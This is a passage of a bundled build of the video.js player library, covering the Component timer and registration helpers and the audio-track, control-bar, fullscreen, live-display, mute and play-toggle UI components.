  3843. Component.prototype.enableTouchActivity = function enableTouchActivity() {
  3844. // Don't continue if the root player doesn't support reporting user activity
  3845. if (!this.player() || !this.player().reportUserActivity) {
  3846. return;
  3847. }
  3848. // listener for reporting that the user is active
  3849. var report = Fn.bind(this.player(), this.player().reportUserActivity);
  3850. var touchHolding = undefined;
  3851. this.on('touchstart', function () {
  3852. report();
  3853. // For as long as the they are touching the device or have their mouse down,
  3854. // we consider them active even if they're not moving their finger or mouse.
  3855. // So we want to continue to update that they are active
  3856. this.clearInterval(touchHolding);
  3857. // report at the same interval as activityCheck
  3858. touchHolding = this.setInterval(report, 250);
  3859. });
  3860. var touchEnd = function touchEnd(event) {
  3861. report();
  3862. // stop the interval that maintains activity if the touch is holding
  3863. this.clearInterval(touchHolding);
  3864. };
  3865. this.on('touchmove', report);
  3866. this.on('touchend', touchEnd);
  3867. this.on('touchcancel', touchEnd);
  3868. };
  3869. /**
  3870. * Creates timeout and sets up disposal automatically.
  3871. *
  3872. * @param {Function} fn The function to run after the timeout.
  3873. * @param {Number} timeout Number of ms to delay before executing specified function.
  3874. * @return {Number} Returns the timeout ID
  3875. * @method setTimeout
  3876. */
  3877. Component.prototype.setTimeout = function setTimeout(fn, timeout) {
  3878. fn = Fn.bind(this, fn);
  3879. // window.setTimeout would be preferable here, but due to some bizarre issue with Sinon and/or Phantomjs, we can't.
  3880. var timeoutId = _globalWindow2['default'].setTimeout(fn, timeout);
  3881. var disposeFn = function disposeFn() {
  3882. this.clearTimeout(timeoutId);
  3883. };
  3884. disposeFn.guid = 'vjs-timeout-' + timeoutId;
  3885. this.on('dispose', disposeFn);
  3886. return timeoutId;
  3887. };
  3888. /**
  3889. * Clears a timeout and removes the associated dispose listener
  3890. *
  3891. * @param {Number} timeoutId The id of the timeout to clear
  3892. * @return {Number} Returns the timeout ID
  3893. * @method clearTimeout
  3894. */
  3895. Component.prototype.clearTimeout = function clearTimeout(timeoutId) {
  3896. _globalWindow2['default'].clearTimeout(timeoutId);
  3897. var disposeFn = function disposeFn() {};
  3898. disposeFn.guid = 'vjs-timeout-' + timeoutId;
  3899. this.off('dispose', disposeFn);
  3900. return timeoutId;
  3901. };
  3902. /**
  3903. * Creates an interval and sets up disposal automatically.
  3904. *
  3905. * @param {Function} fn The function to run every N seconds.
  3906. * @param {Number} interval Number of ms to delay before executing specified function.
  3907. * @return {Number} Returns the interval ID
  3908. * @method setInterval
  3909. */
  3910. Component.prototype.setInterval = function setInterval(fn, interval) {
  3911. fn = Fn.bind(this, fn);
  3912. var intervalId = _globalWindow2['default'].setInterval(fn, interval);
  3913. var disposeFn = function disposeFn() {
  3914. this.clearInterval(intervalId);
  3915. };
  3916. disposeFn.guid = 'vjs-interval-' + intervalId;
  3917. this.on('dispose', disposeFn);
  3918. return intervalId;
  3919. };
  3920. /**
  3921. * Clears an interval and removes the associated dispose listener
  3922. *
  3923. * @param {Number} intervalId The id of the interval to clear
  3924. * @return {Number} Returns the interval ID
  3925. * @method clearInterval
  3926. */
  3927. Component.prototype.clearInterval = function clearInterval(intervalId) {
  3928. _globalWindow2['default'].clearInterval(intervalId);
  3929. var disposeFn = function disposeFn() {};
  3930. disposeFn.guid = 'vjs-interval-' + intervalId;
  3931. this.off('dispose', disposeFn);
  3932. return intervalId;
  3933. };
  3934. /**
  3935. * Registers a component
  3936. *
  3937. * @param {String} name Name of the component to register
  3938. * @param {Object} comp The component to register
  3939. * @static
  3940. * @method registerComponent
  3941. */
  3942. Component.registerComponent = function registerComponent(name, comp) {
  3943. if (!Component.components_) {
  3944. Component.components_ = {};
  3945. }
  3946. Component.components_[name] = comp;
  3947. return comp;
  3948. };
  3949. /**
  3950. * Gets a component by name
  3951. *
  3952. * @param {String} name Name of the component to get
  3953. * @return {Component}
  3954. * @static
  3955. * @method getComponent
  3956. */
  3957. Component.getComponent = function getComponent(name) {
  3958. if (Component.components_ && Component.components_[name]) {
  3959. return Component.components_[name];
  3960. }
  3961. if (_globalWindow2['default'] && _globalWindow2['default'].videojs && _globalWindow2['default'].videojs[name]) {
  3962. _utilsLogJs2['default'].warn('The ' + name + ' component was added to the videojs object when it should be registered using videojs.registerComponent(name, component)');
  3963. return _globalWindow2['default'].videojs[name];
  3964. }
  3965. };
  3966. /**
  3967. * Sets up the constructor using the supplied init method
  3968. * or uses the init of the parent object
  3969. *
  3970. * @param {Object} props An object of properties
  3971. * @static
  3972. * @deprecated
  3973. * @method extend
  3974. */
  3975. Component.extend = function extend(props) {
  3976. props = props || {};
  3977. _utilsLogJs2['default'].warn('Component.extend({}) has been deprecated, use videojs.extend(Component, {}) instead');
  3978. // Set up the constructor using the supplied init method
  3979. // or using the init of the parent object
  3980. // Make sure to check the unobfuscated version for external libs
  3981. var init = props.init || props.init || this.prototype.init || this.prototype.init || function () {};
  3982. // In Resig's simple class inheritance (previously used) the constructor
  3983. // is a function that calls `this.init.apply(arguments)`
  3984. // However that would prevent us from using `ParentObject.call(this);`
  3985. // in a Child constructor because the `this` in `this.init`
  3986. // would still refer to the Child and cause an infinite loop.
  3987. // We would instead have to do
  3988. // `ParentObject.prototype.init.apply(this, arguments);`
  3989. // Bleh. We're not creating a _super() function, so it's good to keep
  3990. // the parent constructor reference simple.
  3991. var subObj = function subObj() {
  3992. init.apply(this, arguments);
  3993. };
  3994. // Inherit from this object's prototype
  3995. subObj.prototype = Object.create(this.prototype);
  3996. // Reset the constructor property for subObj otherwise
  3997. // instances of subObj would have the constructor of the parent Object
  3998. subObj.prototype.constructor = subObj;
  3999. // Make the class extendable
  4000. subObj.extend = Component.extend;
  4001. // Extend subObj's prototype with functions and other properties from props
  4002. for (var _name in props) {
  4003. if (props.hasOwnProperty(_name)) {
  4004. subObj.prototype[_name] = props[_name];
  4005. }
  4006. }
  4007. return subObj;
  4008. };
  4009. return Component;
  4010. })();
  4011. Component.registerComponent('Component', Component);
  4012. exports['default'] = Component;
  4013. module.exports = exports['default'];
  4014. },{"./utils/dom.js":142,"./utils/events.js":143,"./utils/fn.js":144,"./utils/guid.js":146,"./utils/log.js":147,"./utils/merge-options.js":148,"./utils/to-title-case.js":151,"global/window":2}],68:[function(_dereq_,module,exports){
  4015. /**
  4016. * @file audio-track-button.js
  4017. */
  4018. 'use strict';
  4019. exports.__esModule = true;
  4020. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4021. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4022. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4023. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4024. var _trackButtonJs = _dereq_('../track-button.js');
  4025. var _trackButtonJs2 = _interopRequireDefault(_trackButtonJs);
  4026. var _componentJs = _dereq_('../../component.js');
  4027. var _componentJs2 = _interopRequireDefault(_componentJs);
  4028. var _utilsFnJs = _dereq_('../../utils/fn.js');
  4029. var Fn = _interopRequireWildcard(_utilsFnJs);
  4030. var _audioTrackMenuItemJs = _dereq_('./audio-track-menu-item.js');
  4031. var _audioTrackMenuItemJs2 = _interopRequireDefault(_audioTrackMenuItemJs);
  4032. /**
  4033. * The base class for buttons that toggle specific text track types (e.g. subtitles)
  4034. *
  4035. * @param {Player|Object} player
  4036. * @param {Object=} options
  4037. * @extends TrackButton
  4038. * @class AudioTrackButton
  4039. */
  4040. var AudioTrackButton = (function (_TrackButton) {
  4041. _inherits(AudioTrackButton, _TrackButton);
  4042. function AudioTrackButton(player) {
  4043. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  4044. _classCallCheck(this, AudioTrackButton);
  4045. options.tracks = player.audioTracks && player.audioTracks();
  4046. _TrackButton.call(this, player, options);
  4047. this.el_.setAttribute('aria-label', 'Audio Menu');
  4048. }
  4049. /**
  4050. * Allow sub components to stack CSS class names
  4051. *
  4052. * @return {String} The constructed class name
  4053. * @method buildCSSClass
  4054. */
  4055. AudioTrackButton.prototype.buildCSSClass = function buildCSSClass() {
  4056. return 'vjs-audio-button ' + _TrackButton.prototype.buildCSSClass.call(this);
  4057. };
  4058. /**
  4059. * Create a menu item for each audio track
  4060. *
  4061. * @return {Array} Array of menu items
  4062. * @method createItems
  4063. */
  4064. AudioTrackButton.prototype.createItems = function createItems() {
  4065. var items = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  4066. var tracks = this.player_.audioTracks && this.player_.audioTracks();
  4067. if (!tracks) {
  4068. return items;
  4069. }
  4070. for (var i = 0; i < tracks.length; i++) {
  4071. var track = tracks[i];
  4072. items.push(new _audioTrackMenuItemJs2['default'](this.player_, {
  4073. // MenuItem is selectable
  4074. 'selectable': true,
  4075. 'track': track
  4076. }));
  4077. }
  4078. return items;
  4079. };
  4080. return AudioTrackButton;
  4081. })(_trackButtonJs2['default']);
  4082. AudioTrackButton.prototype.controlText_ = 'Audio Track';
  4083. _componentJs2['default'].registerComponent('AudioTrackButton', AudioTrackButton);
  4084. exports['default'] = AudioTrackButton;
  4085. module.exports = exports['default'];
  4086. },{"../../component.js":67,"../../utils/fn.js":144,"../track-button.js":98,"./audio-track-menu-item.js":69}],69:[function(_dereq_,module,exports){
  4087. /**
  4088. * @file audio-track-menu-item.js
  4089. */
  4090. 'use strict';
  4091. exports.__esModule = true;
  4092. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4093. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4094. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4095. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4096. var _menuMenuItemJs = _dereq_('../../menu/menu-item.js');
  4097. var _menuMenuItemJs2 = _interopRequireDefault(_menuMenuItemJs);
  4098. var _componentJs = _dereq_('../../component.js');
  4099. var _componentJs2 = _interopRequireDefault(_componentJs);
  4100. var _utilsFnJs = _dereq_('../../utils/fn.js');
  4101. var Fn = _interopRequireWildcard(_utilsFnJs);
  4102. /**
  4103. * The audio track menu item
  4104. *
  4105. * @param {Player|Object} player
  4106. * @param {Object=} options
  4107. * @extends MenuItem
  4108. * @class AudioTrackMenuItem
  4109. */
  4110. var AudioTrackMenuItem = (function (_MenuItem) {
  4111. _inherits(AudioTrackMenuItem, _MenuItem);
  4112. function AudioTrackMenuItem(player, options) {
  4113. var _this = this;
  4114. _classCallCheck(this, AudioTrackMenuItem);
  4115. var track = options.track;
  4116. var tracks = player.audioTracks();
  4117. // Modify options for parent MenuItem class's init.
  4118. options.label = track.label || track.language || 'Unknown';
  4119. options.selected = track.enabled;
  4120. _MenuItem.call(this, player, options);
  4121. this.track = track;
  4122. if (tracks) {
  4123. (function () {
  4124. var changeHandler = Fn.bind(_this, _this.handleTracksChange);
  4125. tracks.addEventListener('change', changeHandler);
  4126. _this.on('dispose', function () {
  4127. tracks.removeEventListener('change', changeHandler);
  4128. });
  4129. })();
  4130. }
  4131. }
  4132. /**
  4133. * Handle click on audio track
  4134. *
  4135. * @method handleClick
  4136. */
  4137. AudioTrackMenuItem.prototype.handleClick = function handleClick(event) {
  4138. var tracks = this.player_.audioTracks();
  4139. _MenuItem.prototype.handleClick.call(this, event);
  4140. if (!tracks) return;
  4141. for (var i = 0; i < tracks.length; i++) {
  4142. var track = tracks[i];
  4143. track.enabled = track === this.track;
  4144. }
  4145. };
  4146. /**
  4147. * Handle audio track change
  4148. *
  4149. * @method handleTracksChange
  4150. */
  4151. AudioTrackMenuItem.prototype.handleTracksChange = function handleTracksChange(event) {
  4152. this.selected(this.track.enabled);
  4153. };
  4154. return AudioTrackMenuItem;
  4155. })(_menuMenuItemJs2['default']);
  4156. _componentJs2['default'].registerComponent('AudioTrackMenuItem', AudioTrackMenuItem);
  4157. exports['default'] = AudioTrackMenuItem;
  4158. module.exports = exports['default'];
  4159. },{"../../component.js":67,"../../menu/menu-item.js":110,"../../utils/fn.js":144}],70:[function(_dereq_,module,exports){
  4160. /**
  4161. * @file control-bar.js
  4162. */
  4163. 'use strict';
  4164. exports.__esModule = true;
  4165. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4166. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4167. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4168. var _componentJs = _dereq_('../component.js');
  4169. var _componentJs2 = _interopRequireDefault(_componentJs);
  4170. // Required children
  4171. var _playToggleJs = _dereq_('./play-toggle.js');
  4172. var _playToggleJs2 = _interopRequireDefault(_playToggleJs);
  4173. var _timeControlsCurrentTimeDisplayJs = _dereq_('./time-controls/current-time-display.js');
  4174. var _timeControlsCurrentTimeDisplayJs2 = _interopRequireDefault(_timeControlsCurrentTimeDisplayJs);
  4175. var _timeControlsDurationDisplayJs = _dereq_('./time-controls/duration-display.js');
  4176. var _timeControlsDurationDisplayJs2 = _interopRequireDefault(_timeControlsDurationDisplayJs);
  4177. var _timeControlsTimeDividerJs = _dereq_('./time-controls/time-divider.js');
  4178. var _timeControlsTimeDividerJs2 = _interopRequireDefault(_timeControlsTimeDividerJs);
  4179. var _timeControlsRemainingTimeDisplayJs = _dereq_('./time-controls/remaining-time-display.js');
  4180. var _timeControlsRemainingTimeDisplayJs2 = _interopRequireDefault(_timeControlsRemainingTimeDisplayJs);
  4181. var _liveDisplayJs = _dereq_('./live-display.js');
  4182. var _liveDisplayJs2 = _interopRequireDefault(_liveDisplayJs);
  4183. var _progressControlProgressControlJs = _dereq_('./progress-control/progress-control.js');
  4184. var _progressControlProgressControlJs2 = _interopRequireDefault(_progressControlProgressControlJs);
  4185. var _fullscreenToggleJs = _dereq_('./fullscreen-toggle.js');
  4186. var _fullscreenToggleJs2 = _interopRequireDefault(_fullscreenToggleJs);
  4187. var _volumeControlVolumeControlJs = _dereq_('./volume-control/volume-control.js');
  4188. var _volumeControlVolumeControlJs2 = _interopRequireDefault(_volumeControlVolumeControlJs);
  4189. var _volumeMenuButtonJs = _dereq_('./volume-menu-button.js');
  4190. var _volumeMenuButtonJs2 = _interopRequireDefault(_volumeMenuButtonJs);
  4191. var _muteToggleJs = _dereq_('./mute-toggle.js');
  4192. var _muteToggleJs2 = _interopRequireDefault(_muteToggleJs);
  4193. var _textTrackControlsChaptersButtonJs = _dereq_('./text-track-controls/chapters-button.js');
  4194. var _textTrackControlsChaptersButtonJs2 = _interopRequireDefault(_textTrackControlsChaptersButtonJs);
  4195. var _textTrackControlsDescriptionsButtonJs = _dereq_('./text-track-controls/descriptions-button.js');
  4196. var _textTrackControlsDescriptionsButtonJs2 = _interopRequireDefault(_textTrackControlsDescriptionsButtonJs);
  4197. var _textTrackControlsSubtitlesButtonJs = _dereq_('./text-track-controls/subtitles-button.js');
  4198. var _textTrackControlsSubtitlesButtonJs2 = _interopRequireDefault(_textTrackControlsSubtitlesButtonJs);
  4199. var _textTrackControlsCaptionsButtonJs = _dereq_('./text-track-controls/captions-button.js');
  4200. var _textTrackControlsCaptionsButtonJs2 = _interopRequireDefault(_textTrackControlsCaptionsButtonJs);
  4201. var _audioTrackControlsAudioTrackButtonJs = _dereq_('./audio-track-controls/audio-track-button.js');
  4202. var _audioTrackControlsAudioTrackButtonJs2 = _interopRequireDefault(_audioTrackControlsAudioTrackButtonJs);
  4203. var _playbackRateMenuPlaybackRateMenuButtonJs = _dereq_('./playback-rate-menu/playback-rate-menu-button.js');
  4204. var _playbackRateMenuPlaybackRateMenuButtonJs2 = _interopRequireDefault(_playbackRateMenuPlaybackRateMenuButtonJs);
  4205. var _spacerControlsCustomControlSpacerJs = _dereq_('./spacer-controls/custom-control-spacer.js');
  4206. var _spacerControlsCustomControlSpacerJs2 = _interopRequireDefault(_spacerControlsCustomControlSpacerJs);
  4207. /**
  4208. * Container of main controls
  4209. *
  4210. * @extends Component
  4211. * @class ControlBar
  4212. */
  4213. var ControlBar = (function (_Component) {
  4214. _inherits(ControlBar, _Component);
  4215. function ControlBar() {
  4216. _classCallCheck(this, ControlBar);
  4217. _Component.apply(this, arguments);
  4218. }
  4219. /**
  4220. * Create the component's DOM element
  4221. *
  4222. * @return {Element}
  4223. * @method createEl
  4224. */
  4225. ControlBar.prototype.createEl = function createEl() {
  4226. return _Component.prototype.createEl.call(this, 'div', {
  4227. className: 'vjs-control-bar',
  4228. dir: 'ltr'
  4229. }, {
  4230. 'role': 'group' // The control bar is a group, so it can contain menuitems
  4231. });
  4232. };
  4233. return ControlBar;
  4234. })(_componentJs2['default']);
  4235. ControlBar.prototype.options_ = {
  4236. children: ['playToggle', 'volumeMenuButton', 'currentTimeDisplay', 'timeDivider', 'durationDisplay', 'progressControl', 'liveDisplay', 'remainingTimeDisplay', 'customControlSpacer', 'playbackRateMenuButton', 'chaptersButton', 'descriptionsButton', 'subtitlesButton', 'captionsButton', 'audioTrackButton', 'fullscreenToggle']
  4237. };
  4238. _componentJs2['default'].registerComponent('ControlBar', ControlBar);
  4239. exports['default'] = ControlBar;
  4240. module.exports = exports['default'];
  4241. },{"../component.js":67,"./audio-track-controls/audio-track-button.js":68,"./fullscreen-toggle.js":71,"./live-display.js":72,"./mute-toggle.js":73,"./play-toggle.js":74,"./playback-rate-menu/playback-rate-menu-button.js":75,"./progress-control/progress-control.js":80,"./spacer-controls/custom-control-spacer.js":83,"./text-track-controls/captions-button.js":86,"./text-track-controls/chapters-button.js":87,"./text-track-controls/descriptions-button.js":89,"./text-track-controls/subtitles-button.js":91,"./time-controls/current-time-display.js":94,"./time-controls/duration-display.js":95,"./time-controls/remaining-time-display.js":96,"./time-controls/time-divider.js":97,"./volume-control/volume-control.js":100,"./volume-menu-button.js":102}],71:[function(_dereq_,module,exports){
  4242. /**
  4243. * @file fullscreen-toggle.js
  4244. */
  4245. 'use strict';
  4246. exports.__esModule = true;
  4247. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4248. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4249. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4250. var _buttonJs = _dereq_('../button.js');
  4251. var _buttonJs2 = _interopRequireDefault(_buttonJs);
  4252. var _componentJs = _dereq_('../component.js');
  4253. var _componentJs2 = _interopRequireDefault(_componentJs);
  4254. /**
  4255. * Toggle fullscreen video
  4256. *
  4257. * @extends Button
  4258. * @class FullscreenToggle
  4259. */
  4260. var FullscreenToggle = (function (_Button) {
  4261. _inherits(FullscreenToggle, _Button);
  4262. function FullscreenToggle(player, options) {
  4263. _classCallCheck(this, FullscreenToggle);
  4264. _Button.call(this, player, options);
  4265. this.on(player, 'fullscreenchange', this.handleFullscreenChange);
  4266. }
  4267. /**
  4268. * Allow sub components to stack CSS class names
  4269. *
  4270. * @return {String} The constructed class name
  4271. * @method buildCSSClass
  4272. */
  4273. FullscreenToggle.prototype.buildCSSClass = function buildCSSClass() {
  4274. return 'vjs-fullscreen-control ' + _Button.prototype.buildCSSClass.call(this);
  4275. };
  4276. /**
  4277. * Handles Fullscreenchange on the component and change control text accordingly
  4278. *
  4279. * @method handleFullscreenChange
  4280. */
  4281. FullscreenToggle.prototype.handleFullscreenChange = function handleFullscreenChange() {
  4282. if (this.player_.isFullscreen()) {
  4283. this.controlText('Non-Fullscreen');
  4284. } else {
  4285. this.controlText('Fullscreen');
  4286. }
  4287. };
  4288. /**
  4289. * Handles click for full screen
  4290. *
  4291. * @method handleClick
  4292. */
  4293. FullscreenToggle.prototype.handleClick = function handleClick() {
  4294. if (!this.player_.isFullscreen()) {
  4295. this.player_.requestFullscreen();
  4296. } else {
  4297. this.player_.exitFullscreen();
  4298. }
  4299. };
  4300. return FullscreenToggle;
  4301. })(_buttonJs2['default']);
  4302. FullscreenToggle.prototype.controlText_ = 'Fullscreen';
  4303. _componentJs2['default'].registerComponent('FullscreenToggle', FullscreenToggle);
  4304. exports['default'] = FullscreenToggle;
  4305. module.exports = exports['default'];
  4306. },{"../button.js":64,"../component.js":67}],72:[function(_dereq_,module,exports){
  4307. /**
  4308. * @file live-display.js
  4309. */
  4310. 'use strict';
  4311. exports.__esModule = true;
  4312. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4313. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4314. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4315. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4316. var _component = _dereq_('../component');
  4317. var _component2 = _interopRequireDefault(_component);
  4318. var _utilsDomJs = _dereq_('../utils/dom.js');
  4319. var Dom = _interopRequireWildcard(_utilsDomJs);
  4320. /**
  4321. * Displays the live indicator
  4322. * TODO - Future make it click to snap to live
  4323. *
  4324. * @extends Component
  4325. * @class LiveDisplay
  4326. */
  4327. var LiveDisplay = (function (_Component) {
  4328. _inherits(LiveDisplay, _Component);
  4329. function LiveDisplay(player, options) {
  4330. _classCallCheck(this, LiveDisplay);
  4331. _Component.call(this, player, options);
  4332. this.updateShowing();
  4333. this.on(this.player(), 'durationchange', this.updateShowing);
  4334. }
  4335. /**
  4336. * Create the component's DOM element
  4337. *
  4338. * @return {Element}
  4339. * @method createEl
  4340. */
  4341. LiveDisplay.prototype.createEl = function createEl() {
  4342. var el = _Component.prototype.createEl.call(this, 'div', {
  4343. className: 'vjs-live-control vjs-control'
  4344. });
  4345. this.contentEl_ = Dom.createEl('div', {
  4346. className: 'vjs-live-display',
  4347. innerHTML: '<span class="vjs-control-text">' + this.localize('Stream Type') + '</span>' + this.localize('LIVE')
  4348. }, {
  4349. 'aria-live': 'off'
  4350. });
  4351. el.appendChild(this.contentEl_);
  4352. return el;
  4353. };
  4354. LiveDisplay.prototype.updateShowing = function updateShowing() {
  4355. if (this.player().duration() === Infinity) {
  4356. this.show();
  4357. } else {
  4358. this.hide();
  4359. }
  4360. };
  4361. return LiveDisplay;
  4362. })(_component2['default']);
  4363. _component2['default'].registerComponent('LiveDisplay', LiveDisplay);
  4364. exports['default'] = LiveDisplay;
  4365. module.exports = exports['default'];
  4366. },{"../component":67,"../utils/dom.js":142}],73:[function(_dereq_,module,exports){
  4367. /**
  4368. * @file mute-toggle.js
  4369. */
  4370. 'use strict';
  4371. exports.__esModule = true;
  4372. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4373. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4374. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4375. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4376. var _button = _dereq_('../button');
  4377. var _button2 = _interopRequireDefault(_button);
  4378. var _component = _dereq_('../component');
  4379. var _component2 = _interopRequireDefault(_component);
  4380. var _utilsDomJs = _dereq_('../utils/dom.js');
  4381. var Dom = _interopRequireWildcard(_utilsDomJs);
  4382. /**
  4383. * A button component for muting the audio
  4384. *
  4385. * @param {Player|Object} player
  4386. * @param {Object=} options
  4387. * @extends Button
  4388. * @class MuteToggle
  4389. */
  4390. var MuteToggle = (function (_Button) {
  4391. _inherits(MuteToggle, _Button);
  4392. function MuteToggle(player, options) {
  4393. _classCallCheck(this, MuteToggle);
  4394. _Button.call(this, player, options);
  4395. this.on(player, 'volumechange', this.update);
  4396. // hide mute toggle if the current tech doesn't support volume control
  4397. if (player.tech_ && player.tech_['featuresVolumeControl'] === false) {
  4398. this.addClass('vjs-hidden');
  4399. }
  4400. this.on(player, 'loadstart', function () {
  4401. this.update(); // We need to update the button to account for a default muted state.
  4402. if (player.tech_['featuresVolumeControl'] === false) {
  4403. this.addClass('vjs-hidden');
  4404. } else {
  4405. this.removeClass('vjs-hidden');
  4406. }
  4407. });
  4408. }
  4409. /**
  4410. * Allow sub components to stack CSS class names
  4411. *
  4412. * @return {String} The constructed class name
  4413. * @method buildCSSClass
  4414. */
  4415. MuteToggle.prototype.buildCSSClass = function buildCSSClass() {
  4416. return 'vjs-mute-control ' + _Button.prototype.buildCSSClass.call(this);
  4417. };
  4418. /**
  4419. * Handle click on mute
  4420. *
  4421. * @method handleClick
  4422. */
  4423. MuteToggle.prototype.handleClick = function handleClick() {
  4424. this.player_.muted(this.player_.muted() ? false : true);
  4425. };
  4426. /**
  4427. * Update volume
  4428. *
  4429. * @method update
  4430. */
  4431. MuteToggle.prototype.update = function update() {
  4432. var vol = this.player_.volume(),
  4433. level = 3;
  4434. if (vol === 0 || this.player_.muted()) {
  4435. level = 0;
  4436. } else if (vol < 0.33) {
  4437. level = 1;
  4438. } else if (vol < 0.67) {
  4439. level = 2;
  4440. }
  4441. // Don't rewrite the button text if the actual text doesn't change.
  4442. // This causes unnecessary and confusing information for screen reader users.
  4443. // This check is needed because this function gets called every time the volume level is changed.
  4444. var toMute = this.player_.muted() ? 'Unmute' : 'Mute';
  4445. if (this.controlText() !== toMute) {
  4446. this.controlText(toMute);
  4447. }
  4448. /* TODO improve muted icon classes */
  4449. for (var i = 0; i < 4; i++) {
  4450. Dom.removeElClass(this.el_, 'vjs-vol-' + i);
  4451. }
  4452. Dom.addElClass(this.el_, 'vjs-vol-' + level);
  4453. };
  4454. return MuteToggle;
  4455. })(_button2['default']);
  4456. MuteToggle.prototype.controlText_ = 'Mute';
  4457. _component2['default'].registerComponent('MuteToggle', MuteToggle);
  4458. exports['default'] = MuteToggle;
  4459. module.exports = exports['default'];
  4460. },{"../button":64,"../component":67,"../utils/dom.js":142}],74:[function(_dereq_,module,exports){
  4461. /**
  4462. * @file play-toggle.js
  4463. */
  4464. 'use strict';
  4465. exports.__esModule = true;
  4466. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4467. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4468. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4469. var _buttonJs = _dereq_('../button.js');
  4470. var _buttonJs2 = _interopRequireDefault(_buttonJs);
  4471. var _componentJs = _dereq_('../component.js');
  4472. var _componentJs2 = _interopRequireDefault(_componentJs);
  4473. /**
  4474. * Button to toggle between play and pause
  4475. *
  4476. * @param {Player|Object} player
  4477. * @param {Object=} options
  4478. * @extends Button
  4479. * @class PlayToggle
  4480. */
  4481. var PlayToggle = (function (_Button) {
  4482. _inherits(PlayToggle, _Button);
  4483. function PlayToggle(player, options) {
  4484. _classCallCheck(this, PlayToggle);
  4485. _Button.call(this, player, options);
  4486. this.on(player, 'play', this.handlePlay);
  4487. this.on(player, 'pause', this.handlePause);
  4488. }
  4489. /**
  4490. * Allow sub components to stack CSS class names
  4491. *
  4492. * @return {String} The constructed class name
  4493. * @method buildCSSClass
  4494. */
